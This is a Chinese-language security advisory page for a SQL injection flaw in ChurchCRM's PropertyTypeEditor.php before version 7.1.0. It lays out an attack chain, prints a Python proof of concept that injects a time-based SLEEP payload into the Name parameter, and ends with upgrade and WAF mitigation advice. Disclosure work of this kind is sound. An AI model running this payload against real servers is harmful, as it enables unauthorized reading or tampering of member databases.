IPBUF安全漏洞报告
English
CVE-2026-39326 CVSS 8.8 高危

CVE-2026-39326 ChurchCRM SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39326
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRMCVE-2026-39326Web安全认证后漏洞

漏洞概述

ChurchCRM是一个开源的教堂管理系统。在7.1.0之前的版本中,其PropertyTypeEditor.php端点存在严重的SQL注入漏洞。具有isMenuOptionsEnabled权限的认证攻击者,可以通过Name和Description参数构造恶意SQL语句,进而导致数据库信息泄露或被篡改。官方已在7.1.0版本中修复此问题。

技术细节

该漏洞的根源在于ChurchCRM在处理PropertyTypeEditor.php端点请求时,对用户提供的Name和Description参数缺乏有效的安全过滤和验证。系统直接将这些参数值拼接到后台SQL查询语句中执行,导致了经典的SQL注入漏洞。攻击者首先需要获取一个具有isMenuOptionsEnabled角色的低权限账户,然后向受影响端点发送特制的HTTP请求。通过在参数中注入SQL控制字符(如单引号)和恶意指令(如UNION SELECT, UPDATE, DELETE),攻击者可以操纵原始查询逻辑。由于CVSS向量显示C:H/I:H/A:H,攻击者不仅能窃取数据库中的敏感信息(如会员数据、管理员哈希),还能篡改或删除关键业务数据,甚至可能通过存储过程或堆叠查询实现进一步的系统控制,造成严重的业务中断。

攻击链分析

STEP 1
侦察与信息收集
攻击者识别目标系统为ChurchCRM,并确认版本号低于7.1.0。
STEP 2
获取低权限账户
攻击者通过注册或社会工程学获取一个拥有isMenuOptionsEnabled角色的低权限账户凭证。
STEP 3
构造并发送恶意请求
攻击者使用获取的凭证登录,并向/PropertyTypeEditor.php发送POST请求,在Name或Description参数中注入SQL恶意代码。
STEP 4
执行SQL注入
后端数据库执行攻击者注入的SQL语句,导致数据被读取、修改或删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def verify_sqli(target_url, session_cookie): """ Proof of Concept for CVE-2026-39326 This script exploits the SQL injection in PropertyTypeEditor.php via the 'Name' parameter. """ # Target endpoint endpoint = target_url + "/PropertyTypeEditor.php" # Headers including session cookie for authentication headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Payload to test SQL injection (Time-based) # Attempting to inject a single quote to break the query and add a sleep command payload = "' AND SLEEP(5)-- -" # Data to be sent in the POST request data = { "Name": payload, "Description": "Test Description", "Action": "Add" # Assuming 'Add' is a valid action, might vary by version } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, headers=headers, data=data, timeout=10) # Check if the request took longer than expected (indicating SLEEP(5) executed) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Server response delayed.") else: print("[-] Vulnerability not confirmed or payload incorrect.") except requests.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Example usage target = "http://localhost" # Replace with actual target cookie = "PHPSESSID=attacker_session_id" # Replace with valid authenticated session verify_sqli(target, cookie)

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
建议立即将ChurchCRM系统升级至7.1.0或更高版本以彻底修复漏洞。若无法立即升级,应严格限制拥有isMenuOptionsEnabled角色的用户数量,并在网络边界部署WAF规则以拦截针对PropertyTypeEditor.php的SQL注入攻击流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表